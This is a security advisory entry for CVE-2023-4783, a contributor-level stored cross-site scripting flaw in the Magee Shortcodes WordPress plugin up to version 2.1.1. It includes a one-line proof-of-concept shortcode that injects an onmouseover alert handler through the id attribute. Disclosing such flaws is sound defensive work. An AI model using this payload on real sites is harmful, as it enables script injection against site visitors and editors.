Magee Shortcodes <= 2.1.1 – Contributor+ Stored XSS via shortcode | CVE 2023-4783 | Plugin Vulnerabilities

Description

The plugin does not validate and escape some of its shortcode attributes before outputting them back in a page/post where the shortcode is embed, which could allow users with the contributor role and above to perform Stored Cross-Site Scripting attacks.

Proof of Concept

[ms_alert icon="fa-exclamation-circle" background_color="#ffcc00" text_color="#ffffff" border_width="0" border_radius="0" box_shadow="no" dismissable="yes" class="" id='" onmouseover="alert(/XSS/)"']Warning! Better check yourself, you're not looking too good.[/ms_alert]

Affects Plugins

magee-shortcodes

No known fix

References

CVE

URL

https://research.cleantalk.org/cve-2023-4783/

Classification

Type

XSS

OWASP top 10

A7: Cross-Site Scripting (XSS)

CWE

CVSS

Miscellaneous

Original Researcher

Dmitrii Ignatyev

Submitter

Dmitrii Ignatyev

Submitter website

https://blog.cleantalk.org

Verified

Yes

WPVDB ID

02928db8-ceb3-471a-b626-ca661d073e4f

Timeline

Publicly Published

2023-09-21 (about 2 years ago)

Added

2023-09-21 (about 2 years ago)

Last Updated

2024-02-12 (about 1 year ago)

Other

Published

Title

Published

2022-02-03

Title

EasyJobs < 1.4.8 - Reflected Cross-Site Scripting

Published

2024-11-08

Title

Dynamic Post Grid Elementor Addon < 1.0.7 - Authenticated (Contributor+) Stored Cross-Site Scripting

Published

2023-06-15

Title

WP Matterport Shortcode < 2.1.5 - Contributor+ Stored XSS

Published

2024-06-22

Title

Index WP MySQL For Speed < 1.4.18 - Admin+ Reflected XSS

Published

2019-06-24

Title

Custom 404 Pro < 3.2.8 - XSS